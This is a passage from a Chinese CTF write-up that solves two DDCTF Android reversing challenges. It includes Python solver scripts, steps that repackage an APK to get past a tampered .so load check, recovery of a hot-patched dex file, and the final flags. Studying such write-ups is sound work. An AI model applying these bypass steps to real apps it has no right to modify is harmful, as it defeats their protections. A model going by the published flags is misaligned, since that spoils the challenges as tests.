key=[0x9,0x17,0x16,0x3,0x12,0xB,0x1B,0x0,0x4,0x10,0x19,0x5,0x17,0x1D,0x17,0x18,0x18,0x19,0xE,0x3,0x8,0x8,0x18,0xD,0x1E,0x9,0x19,0x1E,0x13,0x0,0x1E,0x1F,0x5,0x11,0x1A,0xD,0x17,0xF,0x1C,0x7,0x1B,0xA,0x8,0x9,0x7,0x1F,0x17,0xA,0xF,0x1F,0x4,0xD,0x18,0xE,0xB,0xB,0x12,0x4,0x3,0xD,0xD,0x4,0x5,0x1D,0xE,0x11,0x8,0x5,0x15,0x1C,0x7,0x1E,0x14,0x9,0x1F,0x2,0xD,0xE,0xA,0x19]
tele=[3,25,14,9,1,13,26,20,6,11,15,18,28,12,24,22,23,10,5,16,7,30,19,29,21,17,0,4,8,2,27]

flag='ZF'
enc=''

for i in range(2):
    tmp=tele[table.index(flag[i])]
    for j in range(10):
        tmp^=key[j*8+i]
    enc+=table[tele.index(tmp)]

print enc

i=0
succ=0
for a in table:
    for b in table:
        for c in table:
            for d in table:
                for e in table:
                    for f in table:
                        if i%100000==0: print float(i)*100/1073741824
                        tmp=enc+a+b+c+d+e+f
                        res=tmp
                        for k in range(5):
                            res=sha256(res).hexdigest()
                        i+=1
                        if res==target:
                            print tmp
                            enc=tmp
                            succ=1
                            break
                    if succ==1: break
                if succ==1: break
            if succ==1: break
        if succ==1: break
    if succ==1: break

flag=''
for i in range(8):
    tmp=tele[table.index(enc[i])]
    for j in range(10):
        tmp^=key[j*8+i]
    flag+=table[tele.index(tmp)]

print 'DDCTF{ddctf-android-lorenz-%s}' % flag

跑大概一个小时左右,就能跑到 Flag 了。

Flag: DDCTF{ddctf-android-lorenz-ZFPQETDB}

0x12 Android - Have Fun

题目:Android逆向,请找出正确的flag. 包裹上DDCTF{...}提交

这题真令人头疼。变量名全部经过 Unicode混淆,字符串全部经过 动态解密混淆,关键代码还插了 垃圾指令 导致生成伪代码失败。

尝试动态调试,直接闪退,logcat 显示 loadlibrary 时抛出 has invalid shdr offset/size 错误。上网查了一下,发现 Android >= 7 时开启了诸多对 .so 文件的检测。而这道题的 .so 头部被修改过,所以过不了这个检测。

先对 libhwFGfOp0EzktJb.so 进行分析。

此处会判断输入长度是否为14字节。

然后与 off_2910 进行比较。

off_2910 = @n|ixihPIppqws

再分析一下 smali 代码。发现它会调用到一个外部 dex 文件:assets/Y2xhc3Nlc19kZC5kZXg=

这里会对用户输入进行 Encode,然后再交由 .so 进行比较。

写解密脚本,发现提交答案始终不正确。在这里卡了一段时间,后来重新审计 smali 代码,发现自己还是太年轻了,没玩懂出题人的套路。

里面有段代码会动态修改外部 dex 文件,往里面插入一些代码,重新计算头部的校验值,并且生成一个新的 dex 文件,释放到 /sdcard/ 里的一个隐藏文件夹里。新文件名为 dnsmanYUn12M.dex,这个才是真正被调用到的 dex 文件。没理解错的话,整个流程用术语好像是叫作 热修复

那么如何得到新的 dex 文件呢。

搞了很久,终于找到一条行得通的办法。

由于 .so 被修改了头,直接运行 APK 会闪退,所以注释掉 smaliloadlibrary 这一行,重新打包 APK,这样就能不会闪退了。然后点击 Check 的按钮,让它生成新的 dex 文件,并且由于没有 loadlibrary 无法调用外部函数,触发闪退。

这样就能从隐藏文件夹里提取出新的 dnsmanYUn12M.vdexdnsmanYUn12M.odex 文件。

然后手工转成 dnsmanYUn12M.dex 文件,进一步分析。

这才是真正的 dex 文件。套路真的深~

写解密脚本,一个很简单的解密流程。

enc='@n|ixihPIppqws'

flag=''
for i in range(len(enc)):
    flag+=chr(ord(enc[i])^(i+8))
print flag

终于得到 Flag

Flag: DDCTF{Hgvbtdf_Yabbcf}

标签: CTF 安全

Comments